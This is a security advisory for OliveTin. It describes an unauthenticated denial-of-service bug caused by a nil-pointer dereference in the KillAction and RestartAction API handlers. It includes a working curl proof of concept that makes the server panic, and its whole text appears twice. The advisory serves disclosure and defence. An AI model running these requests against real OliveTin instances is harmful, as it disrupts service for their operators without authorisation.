GHSA-fwhj-785h-43hh

Summary

An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.

Details

The issue is caused by this flow:

1. StartActionByGet accepts arbitrary actionId and still calls executor:

   • service/internal/api/api.go:239

2. Executor stores a log entry before binding validation:

   • service/internal/executor/executor.go:519

3. If binding is nil, execution stops, but the log entry remains:

   • service/internal/executor/executor.go:781

4. KillAction dereferences execReqLogEntry.Binding.Action without checking Binding:

   • service/internal/api/api.go:79

5. RestartAction has the same unsafe dereference:

   • service/internal/api/api.go:1285

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

PoC

Environment:

• OliveTin default single frontend on http://localhost:1337
• Reproduced on main (commit 235493e) and tag 3000.11.0

1. Create orphan tracking ID with invalid action:

T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
  -H 'Content-Type: application/json' \
  --data '{"actionId":"does-not-exist"}' \
  | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"

2. Trigger panic in RestartAction:

curl -v -X POST http://localhost:1337/api/RestartAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

3. Trigger panic in KillAction:

curl -v -X POST http://localhost:1337/api/KillAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

- curl: (52) Empty reply from server

Observed server log:

- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
    - service/internal/api/api.go:79 (KillAction)
    - service/internal/api/api.go:1285 (RestartAction)

Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.

Summary

An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.

Details

The issue is caused by this flow:

1. StartActionByGet accepts arbitrary actionId and still calls executor:

   • service/internal/api/api.go:239

2. Executor stores a log entry before binding validation:

   • service/internal/executor/executor.go:519

3. If binding is nil, execution stops, but the log entry remains:

   • service/internal/executor/executor.go:781

4. KillAction dereferences execReqLogEntry.Binding.Action without checking Binding:

   • service/internal/api/api.go:79

5. RestartAction has the same unsafe dereference:

   • service/internal/api/api.go:1285

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

PoC

Environment:

• OliveTin default single frontend on http://localhost:1337
• Reproduced on main (commit 235493e) and tag 3000.11.0

1. Create orphan tracking ID with invalid action:

T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
  -H 'Content-Type: application/json' \
  --data '{"actionId":"does-not-exist"}' \
  | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"

2. Trigger panic in RestartAction:

curl -v -X POST http://localhost:1337/api/RestartAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

3. Trigger panic in KillAction:

curl -v -X POST http://localhost:1337/api/KillAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

- curl: (52) Empty reply from server

Observed server log:

- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
    - service/internal/api/api.go:79 (KillAction)
    - service/internal/api/api.go:1285 (RestartAction)

Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.

OliveTin has crash on NPE by calling APIs with invalid bindings or log references in github.com/OliveTin/OliveTin